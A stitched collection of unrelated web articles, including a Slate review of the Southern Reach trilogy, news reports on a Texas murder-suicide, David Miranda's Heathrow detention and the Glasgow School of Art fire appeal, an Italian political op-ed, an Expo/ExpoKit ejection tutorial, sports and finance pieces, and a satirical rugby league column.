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What is Jeff VanderMeer’s Southern Reach Trilogy? VanderMeer is a three-time winner of the World Fantasy Award, but these books aren’t exactly fantasy. They paint a bitter picture of a future harsh to humanity, but offer little in the way of Hunger Games-esque dystopian thrills and nothing at all in the way of a Katniss Everdeen-esque hero. The books have a mystery at their center, but it’s an apocalyptic mystery starring detectives who either don’t have the wherewithal to solve it, aren’t any good at solving it, or don’t care about solving it. Or all three. Because the concept of a “sleuth,” the one who pieces together the available data into a complete picture, is one form of human identity. And in the Southern Reach Trilogy’s naturalist Armageddon, your identity is the bad guy.
This year, FSG has published all three volumes of the trilogy in handsome, trippy little paperback editions, the better for binge-reading. With the conclusion, Acceptance, out this month, it’s worth looking at all three extraordinary books to see what makes VanderMeer’s trilogy such a frustrating triumph. And I mean that as a straight-up descriptor, not as a contradiction—Southern Reach is a triumph in many ways because it is frustrating.
There’s really no way to give the Southern Reach pitch without sounding high, so I won’t try. Basically, OK, there’s this area of the United States—possibly Florida, but it’s unclear—called “the forgotten coast,” and about 30 years ago it was mysteriously taken over by an environment called “Area X,” described by many who visit it as “a pristine wilderness.” Area X retains a few vestiges of the human society that existed there before this transformative event—some bits and bobs of houses, and more importantly, a pretty pivotal lighthouse—but mostly it’s a teeming, pollution-free natural habitat. “In the forest near base camp one might encounter black bears or coyotes,” VanderMeer writes. “You might hear a sudden croak and watch a night heron startle from a tree branch and, distracted, step on a poisonous snake, of which there were at least six varieties.” The unknown force that created Area X also surrounded it with a border that seems to disintegrate any object or creature that touches it.
The border does have one opening that allows humans to enter and (less frequently) leave. It is at this portal that a mysterious government institution called “Central” has established Southern Reach, the base from which a variety of scientists and other operatives attempt to study Area X. These attempts are feeble at best and disastrous at worst: Of the numerous expeditions dispatched into Area X, most have ended in the violent deaths or disappearances of all involved. Most of those who make it back return sporting a blank affect, their crucial journals left behind. Those returnees describe their Area X experiences with bland generalities before quickly dying of cancer.
At the outset of Annihilation, the first book of the trilogy, a woman who lost her husband in the aftermath of the previous expedition (officially called the “eleventh” one, but the numbering quickly turns out to be fudged by the higher-ups) successfully gets past intense screening from Central to join the “twelfth” one. What’s this woman’s name? We don’t know—the Southern Reach wants the members of the all-female expedition to know each other only by their functions: the psychologist, the surveyor, the anthropologist, and our hero the biologist. The idea is that the less they know about each other, they less likely they are to turn on each other under the influence of Area X. So it is through this deliberately alienating veil of anonymity that we follow their increasingly transformative odyssey to Area X’s foremost mystery: a cylindrical structure, mostly buried underground, with a spiral staircase leading down to a whole host of terrifying encounters.
But VanderMeer’s got an agenda with the lack of names as well, as quickly becomes clear at the outset of Book 2, Authority. Authority follows the frustrated attempts (and by the way, a great Snicket-y alternate title for this trilogy would be A Series of Frustrated Attempts) of a new interim director to get the Southern Reach in order, following the disappearance of its previous director on the twelfth expedition. So what was the previous director’s name? For a long time we don’t get one. She was “the psychologist” who accompanied “the biologist” on the previous expedition, and eventually we learn that her name is Cynthia … except it’s also not.
OK then, what about the interim director, what about our new hero, what’s his name? Well, we get it eventually, but mostly he’s referred to as “Control.” Now on one level this is a too on-the-nose irony for a character who quickly proves to have no control over anything, but it’s much more interesting as an homage—and a response—to an identically named character in John le Carré’s Tinker, Tailor, Soldier, Spy.
In le Carré’s novel, Control is the former head of British Intelligence who first uncovers corruption in his organization. His successor, George Smiley, has to draw on materials left behind by Control to root it out. Authority’s Control takes on Smiley’s role as successor-sleuth, but unlike Smiley, he’s dealing with a mystery that may have no solution. Going through his predecessor’s notes, he despairs: “How Control hated his own imagination, wished it would just shrivel up and turn brown and fall out of him. He was more willing to believe that something was staring out at him from the notes, something hidden looking at him, than to accept that the director had been pursuing dead ends. And yet he couldn’t see it. He could only see her searching, and wonder why she was searching so hard.” Human affairs, even labyrinthine espionage-based ones, may be ultimately comprehensible, VanderMeer suggests. But what’s happening in Area X is far beyond human—utterly outside the reference points humans use to perceive the world.
The closing chapter in the trilogy, Acceptance, brings Control and the biologist together for a final expedition into the rapidly expanding Area X. Except the biologist isn’t exactly the biologist anymore. Now she’s called Ghost Bird, and despite looking like the biologist and possessing the biologist’s memories, she insists that she’s not the biologist, and indeed that the biologist may be waiting for them as they trudge through Area X.
Character names are, of course, a simple comfort an author extends a reader. By withholding and shifting those names, VanderMeer strips that away from us. As the pristine wilderness of Area X transforms humans into bizarre, nearly unperceivable creatures, as it threatens to leap beyond its bounds and swallow the outside world, a second, simultaneous apocalypse is also happening: the end of human identity. As much as Area X seems to be a forcible corrective to human-driven ecological destruction, it also challenges what VanderMeer presents as the root of human unhappiness: the stories we tell ourselves about who we are.
If Hugh Howey’s apocalyptic Wool series imagines the human race forced to live in silos, VanderMeer’s Southern Reach suggests that’s unnecessary. We’re already silos unto ourselves. Every major character in the trilogy is desperately lonely, unable to maintain relationships, bereft of anything resembling a confidant, dependent on alcohol or casual sex to maintain any equilibrium. They’re all paranoid: Again and again, every statement a secondary character makes to the biologist or Control or Cynthia-whose-name-isn’t-Cynthia is deconstructed for a secret agenda. VanderMeer never treats spoken language as direct communication, but rather as obfuscation, holding action, or manipulation. Our identities, VanderMeer suggests, are rotting lighthouses we live inside and peer out of, suspiciously. They create the false sense that we can control the world around us—that we can even see it clearly.
Which ultimately makes the biologist/Ghost Bird the only hero equal to this story, VanderMeer’s one example of a way forward for humanity in the natural avalanche of Area X. She’s not ambitious; she doesn’t stake out territory in the way the other characters do. She’s happiest in nature, simply recording it, observing it, to no specific long-term purpose. While sojourning on an island in Area X, she writes in her journal, “I have felt more acutely than ever that here on this island I should never be taken out of the moment. To be taken out of the moment is dangerous—that is when things sneak their way in and then there is no present moment to return to.” And she’s fine with leaving mysteries unsolved. Observing the defiant Control, who still hopes to effectively oppose Area X, Ghost Bird observes, “He could not jettison some essential sentimentality that was of no use here, some mechanism that belonged to the world outside.” Whatever that sentimentality is—is it humanity?—Ghost Bird’s fresh out.
I’ve treaded carefully here, tiptoeing around spoilers, because I want you to read the Southern Reach Trilogy. But if that’s the case, why did I call it frustrating? That’s not generally considered a good marketing word. And certainly any story involving a mysterious wilderness with a mysterious monster in it enters our culture under the long shadow of the TV series Lost, which earned tremendous enmity from fans who felt it failed to explain a number of its mysteries.
So if you binge-read Southern Reach the way you may have binge-watched Lost on Netflix, will you be enraged at the end? Well, without giving away which mysteries are solved and which aren’t—and I should stress, there are some fantastic payoffs along the way, a few of which made me gasp—I’m going to predict that you won’t be. For one thing, the books, for all their Baudrillardian knottiness, are big fun to read. (I had to repeatedly steal them back from my wife just so I could write this review.) But more pertinently, this frustration that manifests over and over throughout the trilogy—as the characters repeatedly fail not only to solve the mystery of Area X, but indeed to even meaningfully perceive it—doesn’t feel like a cheat, but rather a natural outgrowth of how these books see humanity. We’re isolated. We’re easily manipulated. We don’t cooperate. We’re poorly suited to our natural habitat, and insignificant in the face of its untamed grandeur. We care more about our image of ourselves, our identity, than about our interaction with the world around us. The colossal physical and spiritual transformation Area X represents is beyond human reference. We can either participate or get rolled over.
And that’s the buy-in you either make or don’t make when you’re reading the Southern Reach Trilogy, the most uncompromising—yet most rewarding—genre series I’ve read in quite some time. Are you the biologist, prepared to accept frustration as a byproduct of any worthwhile expedition into the unknown? Or are you Control, bristling against uncertainty to the end?
—
The Southern Reach Trilogy, by Jeff VanderMeer: Annihilation, Authority, and Acceptance. Farrar, Straus and Giroux.
See all the pieces in this month’s Slate Book Review.
Sign up for the Slate Book Review monthly newsletter.
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A teen romance ended in a murder-suicide when a high school football player in Texas killed his ex-girlfriend before taking his own life, police said.
Louis Nickerson, 19, was allegedly upset over his recent breakup with Clarissa Riojas, 18, and fatally shot her Wednesday morning at a San Antonio apartment, the Fort Worth Star-Telegram reported.
Police said the teen then shot and killed himself in nearby woods. His body was reportedly found just a few hundred yards from the apartment with the gun in his hand.
“We have a very, very serious and tragic incident that happened here [Wednesday] morning,” San Antonio Police Chief William McManus said at a news conference.
Both victims were seniors at Highlands High School, where Riojas was a member of the brigade dance team, according to the Fort-Worth Telegram. Nickerson played football and basketball at the school.
Friends said the pair had been dating for more than a year but the relationship was tumultuous.
“[Riojas] was always telling me how he was abusive,” friend Adrean Coy told mySanAntonio. “But she felt bad for him so she tried to help him.”
In one instance, Nickerson even allegedly went as far as slashing her tires, according to the news outlet.
“It was just so toxic,” classmate Angela Zetina said.
Riojas ultimately took her friends’ advice last week and dumped him. Furious she wasn’t answering calls, Nickerson broke into the apartment where she was staying and killed her in front of her sister, police said.
Friends mourned the slain couple Wednesday by paying tribute on social media.
“Clarissa was still a baby and had yet to experience life,” wrote one friend on Twitter. “Everyone knows she had so much to live for. She didn’t deserve this. She was only [a] teenager learning how to love like the rest of us.”
The San Antonio Independent School District released a statement saying counseling will be available to students.
“We learned this morning of the shocking deaths of two seniors at Highlands High School, which occurred this morning off campus,” spokeswoman Leslie Price said. “What happened is tragic, and our thoughts are with the family and friends of these students. A crisis team of counselors was sent to the school to support students who are trying to cope with the news of these deaths.”
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Authorities arrested Patrick Frazee and charged him with first-degree murder nearly one month after Kelsey Berreth, the mother of his 1-year-old daughter, vanished on Thanksgiving Day.
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The Jets are now 2-16 in their last 18 games, and will almost certainly move on to the franchise's third new head coach since the Rex Ryan era ended in 2014 this offseason. Gase is a dead man walking, though there is still a path in which he can save his job. Beat my Giants next week (if this happens, I may cry), then beat the Washington Redskins at home the following week and suddenly they might have a chance to turn things around. After that they'd get Oakland at home, the lowly Bengals in Cincinnati and then the Phins at the Meadowlands. If I know Jets fans like I think I do, they'd rather the Jets lose the rest of their games instead, then fire Gase, draft Tua and start over for the billionth time.
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BEAUREGARD, Ala. (AP) - A candlelight vigil and grief counseling are being planned as students return to school in an Alabama community where nearly two dozen people died in a tornado outbreak.
Churches are planning an event that will include candlelight remembrances and prayer on Monday night at Beauregard High School in rural east Alabama. An organizer, Angela Bush, tells WSFA-TV that people need hope amid the devastation.
A grief counselor met with teachers Monday to assist them in helping students as classes resume Tuesday in the Lee County school system that includes Beauregard.
Severe weather that included a powerful EF4 tornado devastated parts of the Southeast on March 3, killing 23 people in Beauregard. The dead include 10 members of one extended family and range in age from 6 to 89.
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David Cameron has been drawn into the controversy over the treatment of David Miranda after Downing Street confirmed that the prime minister was given advance notice that police planned to detain the partner of Glenn Greenwald at Heathrow airport.
As the Home Office launched an aggressive offensive to justify the detention of Miranda, No 10 said the prime minister was informed of the planned police action.
A Downing Street source said: "We were kept abreast in the usual way. We do not direct police investigations."
The confirmation from Downing Street, which follows a statement from the White House that it was given a "heads-up" about the detention of Miranda, came shortly after the Home Office suggested that Greenwald's partner possessed "highly sensitive stolen information that would help terrorism".
A Home Office spokesperson said: "The government and the police have a duty to protect the public and our national security. If the police believe that an individual is in possession of highly sensitive stolen information that would help terrorism, then they should act and the law provides them with a framework to do that. Those who oppose this sort of action need to think about what they are condoning. This is an ongoing police inquiry so will not comment on the specifics."
The statement by the Home Office and the remarks by the No 10 source marked an abrupt change of tactics by the government, which had declined to answer questions about the detention of Miranda on the grounds that it was an operational police matter.
The government faced calls from across the political spectrum to give a more detailed response. Downing Street decided to clarify the position after Josh Earnest, the principal deputy White House press secretary, said at a briefing on Monday that the "British government" had decided to detain Miranda.
This claim was seized on by Yvette Cooper, the shadow home secretary, who demanded an explanation from her Tory opposite number, Theresa May.
No 10 sources said that the White House spokesman meant to say that the UK authorities, rather than the UK government, had made the decision to detain Miranda. The remarks by Earnest explained why No 10 felt the need to make clear that it did not direct police operations.
David Davis, the former shadow home secretary, dismissed the No 10 intervention. Davis told The World at One on Radio 4: "The simple fact that the White House had been notified about it really told you that the entire senior tier of government in this area would have known about it – the home secretary, probably the foreign secretary and almost certainly the prime minister.
"What that means is that of course they didn't direct it, nobody is suggesting they directed it. But they approved it by implication. If the home secretary is told this is going to happen and she doesn't intervene then she is approving it."
The statement from Downing Street came after Alan Rusbridger, the editor of the Guardian, confirmed that No 10 was involved in discussions to threaten the newspaper with legal action if it refused to destroy or hand over documents leaked by the US whistleblower Edward Snowden.
"We got the sense there was an active conversation within Whitehall and agencies and in Downing Street," Rusbridger told the BBC News Channel. Asked whether the matter went "right to No 10", Rusbridger said: "Yes."
The Guardian editor added: "It was quite explicit. We had to destroy it or give it back to them."
Miranda was stopped at Heathrow en route to Rio de Janeiro, where he lives with Greenwald, who has written a series of stories for the Guardian revealing mass surveillance programmes by the NSA.
He was returning to their home from Berlin when he was stopped at Heathrow under schedule 7 of the Terrorism Act 2000, allowing officials to take away his mobile phone, laptop, camera, memory sticks, DVDs and games consoles.
During his trip to Berlin, Miranda met Laura Poitras, the US film-maker who has been working with Greenwald and the Guardian. The Guardian paid for Miranda's flights. Miranda is not a Guardian employee but often assists Greenwald in his work.
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AMERICA FATTA A MAGLIE - CHE BOTTA! I DEMOCRATICI SPENDONO 50 MILIONI PER IL LORO CANDIDATO IN GEORGIA (CONTRO I 4 MLN DEI REPUBBLICANI) E PRENDONO IL QUINTO SCHIAFFO DI SEGUITO. MA IL PAESE NON SI STAVA RIVOLTANDO CONTRO TRUMP? - VIDEO: IL DIRETTORE DEL ‘NY TIMES’ AMMETTE CHE ‘L’APPARATO GOVERNATIVO STA FACENDO RESISTENZA CONTRO TRUMP, PER QUESTO CI RIEMPIONO DI SPIATE, IL NOSTRO LAVORO NON È MAI STATO COSÌ FACILE’ - LO SGUARDO PIETRIFICATO DEL PANEL CNN: SONO GIORNALISTI O MAJORETTES?
VIDEO: IL DIRETTORE DEL ‘NY TIMES’ AMMETTE CHE ‘L’APPARATO GOVERNATIVO STA FACENDO RESISTENZA CONTRO IL PRESIDENTE, PER QUESTO CI RIEMPIONO DI SPIATE, IL NOSTRO LAVORO NON È MAI STATO COSÌ FACILE’
Maria Giovanna Maglie per Dagospia
karen handel
Ragazzi che botta! Come far diventare una normalissima elezione di sostituzione di un deputato l'inizio storico della resa dei conti verso la disfatta dell'impostore Trump, spendere 50 milioni di dollari, che non si è mai visto per una singola elezione, e ritrovarsi a guardare in tv le facce dei quattro illustri commentatori della CNN che di fronte agli exit poll che danno la repubblicana in netto vantaggio sul democratico, sembrano tutti e quattro pronti a scoppiare in lacrime, senza riuscire a nascondere stupore, sorpresa, disperazione.
Si può continuare a lavorare così e chiamarsi ancora giornalisti?
le facce del panel cnn sulla vittoria repubblicana in georgia
Evidentemente sì, se qualche giorno fa durante una dotta conferenza di se’ Dean Baquet, direttore del New York Times, con aria candida ma non per questo meno losca raccontava che hanno letteralmente raddoppiato il numero di corrispondenti a Washington perché proprio come il rivale ed ora alleato Washington Post sono letteralmente subissati di spiate, notizie anonime, indiscrezioni, richieste di burocrati e tecnocrati, diplomatici, ansiosi di dare notizie su e contro la Casa Bianca di Donald Trump, insomma che il lavoro non è mai stato così facile.
È il deep state, lo Stato profondo, signora mia, che si ribella a questo presidente, e anche i suoi cortigiani, secondo l'editor del New York Times, sono in lotta cagnesca fra di loro e parlano troppo.
il direttore del the new york times, dean baquet
Sara’, ed evidentemente a Baquet piace lavorare così, con le mani negli escrementi, ma non è questo che pensano gli elettori, e gli elettori non sono solo a Washington.
Poco più tardi Trump implacabile twitta: 5-0 con tutte le fake news e 50 milioni di dollari. Ha ragione perché hanno speso quanto per un'intera stagione di primarie presidenziali per l'elezione speciale nel VI distretto congressuale della Georgia per rimpiazzare Tom Price, nominato Segretario alla Salute. Ed è finita proprio come è cominciata, con una repubblicana, Karen Handel, confermata al posto di Price, e democratici a chiedersi che cosa mai dovranno fare – oltre la campagna di fango e calunnie – per strappare un risultato di voto contro Trump.
Eppure l'occasione era sembrata ottima al Partito Democratico perché in quell'area di un suburbio di Atlanta piuttosto benestante il presidente aveva vinto per pochi voti l'8 novembre. Il giovane di 29 anni sconosciuto o semisconosciuto sembrava perfetto per la riscossa in una campagna parallela a quella del Russiagate a Washington.
jon ossoff
Il Comitato nazionale democratico se ne è occupato direttamente, mettendo su un'operazione politica gigantesca con 12000 volontari, 100 funzionari retribuiti, e 11 milioni di dollari solo di annunci pubblicitari. Il prescelto John Ossoff aveva tutte le caratteristiche di rinnovamento per eta’, formazione, studi solidi alla London School of Economics, freschezza (mai occupato di politica attiva), passato da documentarista della BBC molto chic, molto liberale in tema di diritti sociali e sulle questioni della sicurezza, perfetto insomma per incarnare quel nuovo tipo di Democratico che si sta testando per accontentare anche i sinistri alla Bernie Sanders.
supporter democratici in georgia
Dall'altra parte una solita signora nessuno, la Handel, che ha 55 anni e in passato è stata imprenditrice. Fra il 2007 e il 2010 Handel è stata segretario di Stato della Georgia e da allora ha provato a farsi eleggere sia governatrice sia senatrice, senza successo, e che e’ nota per essere una conservatrice dura, con posizioni fermamente anti-abortiste. In campagna elettorale ha attaccato Ossoff, perché non vive nel Sesto distretto (in realtà abita a pochi chilometri di distanza) e perché “non condivide i nostri valori”’
ralph norman south carolina
Ai democratici e andata male ed è il caso di ricordare nelle cinque cosiddette elezioni speciali da quando Trump è diventato presidente, è andata sempre male, e che è particolarmente frustrante, tanto più se il candidato era quello giusto, hai speso milioni e milioni di dollari, giornali e tv hanno preparato il clima della riscossa, i sondaggi dicevano che il candidato democratico sarebbe stato il vincitore, il tutto mentre un presidente repubblicano quasi sicuramente sotto investigazione del FBI ha qualche difficoltà a mettere in pratica l'agenda di riforme ed economica che dovrebbe aiutarlo a sostenere il proprio consenso. Che si deve fare per vincere un'elezione? Verrebbe da dire che gli devono sparare, non è una bella battuta ma viene in mente.
i tweet di donald trump per festeggiare la vittoria in georgia
.
donald trump
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Brad Pitt and Peter Capaldi in Glasgow School of Art fire appeal Published duration 18 June 2014
image copyright PA/GSA image caption Pitt is an admirer of Mackintosh art and Capaldi is a former student of Glasgow School of Art
Hollywood star Brad Pitt and Dr Who actor Peter Capaldi are leading efforts to raise £20m to restore Glasgow School of Art's fire-hit Mackintosh building.
Both have agreed to be trustees of The Mackintosh Appeal which the art school (GSA) officially launched on Wednesday.
Pitt is a well-known fan of Charles Rennie Mackintosh, the Scots architect who designed the iconic building. Capaldi is a former art school student.
GSA estimates the cost of restoring the building to be between £20m and £35m.
The blaze, which destroyed about 10% of the building, including the Mackintosh library, broke out on Friday 23 May.
In the immediate aftermath, GSA established a Phoenix Bursary scheme to help students affected by the fire to recreate lost work.
image copyright GSA image caption Glasgow School of Art will seek to raise £20m to help restore its iconic Mackintosh building
The initiative attracted a £750,000 contribution from the Scottish government, which has also pledged £5m in match funding towards the restoration costs. The UK government has also said it will make a contribution.
Capaldi, who studied graphic design at GSA and graduated in 1980, said he hoped funds could be raised to restore the Mackintosh building "to its former grace".
"It always seemed to me, when I studied there, both as a student and as a child in Saturday morning art classes, an exotic place of the imagination... all nooks and crannies, guarded by stern ancient statues and full of artistic possibilities," he said.
'Rise from the ashes'
"There is no greater symbol of the artistic spirit of Scotland than the Mackintosh building.
media caption Peter Capaldi studied graphic design at the Glasgow School of Art
"But more than that it is a symbol of where art belongs, rising as it does out of the heart of a great city. A mighty castle on a hill, it is a part of me, and of all Glaswegians."
In a specially recorded message for the students Capaldi said: "I'm so sorry for all of you who have lost your degree shows.
"All I can say to you is that you are artists. This will only add to your story. You will be reborn, and rise from the ashes even stronger."
Pitt's love of Mackintosh's work is well known and he visited the architect's Hill House in Helensburgh, in the 1990s, returning again with wife Angela Jolie in 2011 while filming World War Z in Glasgow.
GSA director, Professor Tom Inns, Pitt and Capaldi would have an important role to play in the fundraising appeal.
He said: "We are delighted that both Peter Capaldi, one of our most celebrated alumni, and Brad Pitt, whose admiration for Mackintosh is well known, have both joined our campaign and will be Trustees on The Mackintosh Appeal."
Prof Inns said the immediate priority for the art school had been the impact on students but it was now time to look forward.
"We have been overwhelmed by the offers of support from around the world since the fire and are hugely grateful to all those people who have donated," he said.
"This support, along with that of the Scottish government, has been vital. It has enabled us to put in place the Phoenix Bursaries programme to help those students who were most affected by the fire."
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Few words about Expo and ExpoKit
I will start this article with a quick note about the most powerful technologies to build applications for iOS and Android.
In the documentation for Expo, the developers have explained, “The Expo SDK is a set of libraries written natively for each platform, which provides access to the device’s system functionality (things like the camera, push notifications, contacts, local storage, and other hardware and operating system APIs) from JavaScript. The SDK is designed to smooth out differences in platforms as much as possible, which makes your project very portable because it can run in any native environment containing the Expo SDK.”
The documentation mentions that “Expo provides UI components to handle a variety of use-cases that almost all apps will cover but are not built into React Native core, e.g. icons, blur views, and more.” Expo is used by 75,780 developers. It has 6,481 stars on GitHub and 297 contributors”.
“ExpoKit is an Objective-C and Java library that allows you to use the Expo platform and your existing Expo project as part of a larger standard native project — one that you would normally create using Xcode, Android Studio, or react-native init.”
Expo covers application needs and has the ability to interact with iOS and Android development all in one place. In some cases, Expo is a very powerful framework that handles everything. Developers don’t need to have experience with Xcode or Java (Android Studio). All the magic happens in the Expo terminal. But if the project starts growing and customers need specific functional solutions, Expo doesn’t yet cover everything. It becomes a nightmare to find a solution without native code. After a lot of discussions, Expo built middle-ware between its own product and native code: ExpoKit. ExpoKit gives developers the ability to work with Expo modules.
There are a lot of advantages and ways to use ExpoKit, but I will focus on one very important tool: ejection. Developers don’t often migrate to ExpoKit because they worry it will break their current application and that it will take time and money to resolve conflicts and prepare the iOS and Android environments. There are a lot of articles online about how to eject, but they don’t cover the tricks and steps that make the process of ejection as simple as possible.
Expo Eject
The first important thing you should know is that you can revert all changes after ejection, but I suggest you do all this manipulation in different git branches.
The first step is to go to your project and type the following into the terminal: expo eject. Expo will ask you to choose a way to eject.
Choose ExpoKit. Expo will start to build two new folders, iOS and Android, and generates all the necessary configs for both platforms. The next step is to check package.json, where you should see some changes.
Move to the terminal and run yarn install (yarn is more commonly used with React Native projects).
Let’s also take a look at our app.json. You will see something new and not quite understandable. The first indicator that everything is going well will be these lines.
This means that ejection has completed, and it takes the latest ExpoKit for iOS and Android.
In the Android section, we get two new lines.
These files are very important. They will show all of your assets generated and compressed.
Android is broken
The first problem is waiting for us in the Android folder. Let’s try to find the new files from app.json in the Android section. You will see this:
Where are your files? In the documentation, it says that you should open Android Studio, and Gradle will build the project automatically without causing any problems. Let’s try it and see what happens.
The first message will be shown almost immediately.
Developers usually prefer to have all packages and modules up to date. This message tells us that we are trying to use an old version – Gradle 3 instead of 5. In the Expo docs, you can see a recommendation not to upgrade, because if you do, Gradle version 5 will not support versions used inside ExpoKit. Skip the upgrade for now and press “Don’t remind me again for this project.” IDE will automatically build a new project, and you can run it on the simulator. After some time, you will see your project successfully shown in the simulator. Great!
Locally, everything seems to be working fine. Next, you’ll prepare the release and upload to your remote device. Expo documentation doesn’t help with this, but it’s very easy to do in Android Studio. Click on Build and then Generate Signed Bundle or APK, you will see this.
Choose APK. On the next page, you’ll paste the following.
This Expo command helps continue the building process: expo fetch:android:keystore.
You will get a key store file on the root level of your project. You’ll see a password alias and key password in the terminal. Put them in and continue. The next step is to choose prodKenelRelease (version 33 – release) and check the two checkboxes for full APK and JAR. The process starts, and you will get your first error.
ENOENT is too long for the image – I will post it here also
ENOENT: no such file or directory, open ‘agent-app-new-for-blog/android/app/src/main/assets/shell-app-manifest.json’
Why did this happen? Everything was working in the simulator, but you don’t have shell-app-manifest.json in your project. You can spend several hours trying to find solutions. To generate these files, build the Android version from the Expo command line. If you don’t dismiss OTA updates, your clients will receive new changes.
If you’re not sure if the application will work correctly, you can make a new release channel. It’s pretty simple and will not cause any problems on the client side. You only need to add a new line in your package.json inside scripts.
Let’s run this command and check the Android folder again.
The necessary files have been generated! Perfect!
Let’s move to IDE for Android and try again to build our release APK. After some time, you will get a message that our release APK has been successfully generated.
I love iOS
You will not have any problems after ejection with iOS. All you need is Xcode and instructions from ExpoKit. Here are the instructions from the documentation:
“1) Make sure you have the latest Xcode.
2) If you don’t have it already, install CocoaPods, which is a native dependency manager for iOS.
3) Run pod install from your project’s ios directory.
4) Open your project’s xcworkspace file in Xcode.
5) Use Xcode to build, install and run the project on your test device or simulator. (this will happen by default if you click the big ‘Play’ button in Xcode.)”
To build IPA for the Apple Store, first, go to Product – Destination – Generic iOS device. Then, choose Product – Archive – and follow the steps to generate an IPA file. This shouldn’t cause any problems or errors. Don’t forget to apply the certificates required by the App Store.
Use native library
Now you can easily use any native module inside your application. To allow any native module, you should install it, link it, and install pods in the iOS folder. For Android, you only need to build the project again. For linking, React Native comes with universal terminal command link, for example: react-native link react-native-system-setting. After that, this module can be used in React Native code.
Conclusion
The process of ejection is pretty easy and simple. There could be some problems with Android, but nothing critical. Spending a few hours with ejection could save you a lot of money in the future. You can use simple React Native solutions and the entire React Native modules to build fast, complicated applications.
I think the right way to start with Expo is to build everything, let Expo work with certificates for Android and iOS for development and production builds, upload and test your project on the real devices through the App Store and Google Play, and then use ejection.
There’s a lot more we could have covered about new updates in Expo 33, but we hope this explainer for the Eject process will give you the confidence to try this powerful way to build native projects.
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NOTE : Intentional walks have only been an officially tracked statistic since 1955. Historical data found on Baseball Almanac prior to that year is based on box scores.
Baseball Almanac is pleased to present a record book full of baseball milestones for intentional bases on balls—including most intentional bases on balls in a career, most intentional bases on balls in a single single, and most intentional bases on balls in a game records.
"The game has changed. Records are made to be broken, and whatever happens in the future, we should allow it to happen on its own and not question it. We are not machines. We are human beings." - Barry Bonds in Baseball Digest (January 2002)
The career mark & single season mark set by Barry Bonds are, to say the least, in a class by themselves. Will either of these two marks ever be eclipsed or will these go down in history as more examples of unbeatable records? Share your thoughts on Baseball Fever.
If one event in baseball signifies true respect, it has to be an intentional walk with the bases loaded. Bill Deane and Everett Parker recently completed research on the five instances and summarized the events of each game below. In 2007, research Trent McCotter added to this remarkable list with his Dalrymple discovery:
Did you know that Rickey Henderson holds the Major League record for most walks in a season (he had one-hundred eighteen with the Oakland Athletics in 1998) without a single intentional bases on balls?
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China Turns it Up Another Notch
Here it comes, slowly but surely: “We sincerely hope the U.S. fiscal deficit will be reduced, year after year,” China’s Assistant Finance Minister Zhu Guangyao said overnight after talks with Treasury Secretary Geithner. Could he lay it out any more clearly than this? “The Chinese government is a responsible government, and first and foremost our responsibility is the Chinese people, so of course we are concerned about the security of the Chinese assets.”
The Chinese now own over $801 billion in U.S. debt, nearly double their holdings at the start of 2007 and by far the world’s largest stash of American paper.
“We are committed,” responded Tim Geithner, “to taking measures to maintaining greater personal saving and to reducing the federal deficit to a sustainable level by 2013.” We have no idea what he might mean by that… the CBO still projects a $1.8 trillion budget deficit this year, $1.4 trillion next year, $984 billion in 2011 and $633 billion by the end of 2012. That makes the Bush administration look like penny pinchers, and is certainly not even in the realm of “sustainable.”
The U.S. government issued another $42 billion in 2-year notes today, the first of this week’s record $115 billion debt issuance.
“Debt is the story of today’s economy,” says Chris Mayer, echoing a theme of this year’s Investment Symposium. “There is still too much of it. Yet the mainstream view seems to be that more of same is the elixir to see us out of this bust. In fact, debt issuances by governments are hitting new records.
“The U.S. government is spending money hand over fist. That’s not new. The U.S. is hoping more foolish foreign central banks will line up and absorb the deluge for pitiful interest rates. The 2-year note sells for a yield of 1.1%.
“Maybe Washington will pull it off. But one day, people are going to demand a better rate to take the government’s paper. At some point, the market’s appetite for puny yields will go away. When that happens, interest rates will rise significantly and debt prices will crash. It’s not a matter of if, only when. To continue at this pace is clearly unsustainable.
“The crazy thing is that the U.S. government is not alone. Emerging markets are also issuing record levels of bonds. The Financial Times reports this morning that ‘the surge in issuance this year [hit] its highest point since records began in 1962.’ The biggest issuers include China, Brazil, Russia, South Korea and some of the Gulf states.
“Incredibly, most seem to look at these debt issuances as positives for the global economy. The FT, for instance, opined (in the middle of its news story) that the debt sales were ‘an encouraging sign for the world economy.’
“It’s a weird paradigm that thinks growing debt levels are a good thing for the global economy, but it is a mainstream view. Economists, lost in their models and abstract curves, preach the benefits of stimulus — printing money and spending and borrowing. And people seem to eat this up.”
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Why the fuck do I have to be a periwinkle
158 shares
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NO one is safe as Reg Reagan gives his unique view on week two of the NRL finals ...
ROOSTERS V COWBOYS
GREEN WITH ENVY
COWBOYS coach, and red-faced dwarf, Paul Green knows more about the Roosters than most people, including the salary-cap auditor ... obviously. He spent last year as Trent Robinson’s assistant, but is now forging his own legacy.
Green revealed last week the secret to his coaching success: little man’s syndrome. That nagging feeling to prove he is as capable as anyone over 5ft 6in or 1.66m.
It’s a formula that didn’t work so well for Brian Smith over the years, particularly when you compare it to the approach Wayne Bennett has proven to be so successful — skinny, gawky man’s syndrome.
Green paid Robinson an enormous compliment earlier in the week, saying the Roosters boss taught him everything he knows, which according to Cowboys’ players, isn’t a lot.
‘COOKED CHOOK’ GIBE FIRES UP ROBBO
media_camera North Queensland coach Paul Green faces his old side in the Roosters.
COWBOYS RIDE INTO TOWN
WATCH out Sydney, here come the Cowboys’ fans, doing their annual pilgrimage to the “Big Smoke” to watch their footy team in September.
All the pubs and dentists are expected to do a booming business.
Yep, everywhere you look in Sydney, you’ll see 10 gallon hats, moleskins and unflushed toilets.
Sydney Police have announced “Operation Hillbilly” for the Moore Park precinct, which will target Cowboys’ supporters riding their horses under the influence of alcohol.
WINNER THURSTON EYES DALLY M TREBLE
MEMBERS EVENT WARNING
COWBOYS fans will need to get to the game early to avoid disappointment, with the Roosters announcing that all their club members will be given free entry.
As of this morning, the Roosters can proudly announce that every one of their nine members have taken up the option of a free ticket and will be there to cheer on the team they so passionately and occasionally support.
PEARCE TO FORM BIG DIFFERENCE THIS TIME
THURSTON FOR SUCCESS
JOHNATHAN Thurston is the key man in this contest. I just hope he’s not distracted by all the speculation of him winning a record third Dally M Medal.
As a five-time winner of Group 9’s dirtiest and most disrespected player, I know only too well how individual honours can dominate one’s thinking.
SEA EAGLES V BULLDOGS
TOOVES V DES
THESE two blokes have destroyed more coaching boxes than Aussie John Symonds has destroyed toilets.
Bad tempered mongrels they are. Hard to fathom Tooves and Des used to share a coaching box together at Brookie. No wonder by the time Des left for the Dogs, Brookie Oval looked like downtown Baghdad.
media_camera Geott Toovey and Des Hasler — notice how one hairstyle has changed and one hasn’t.
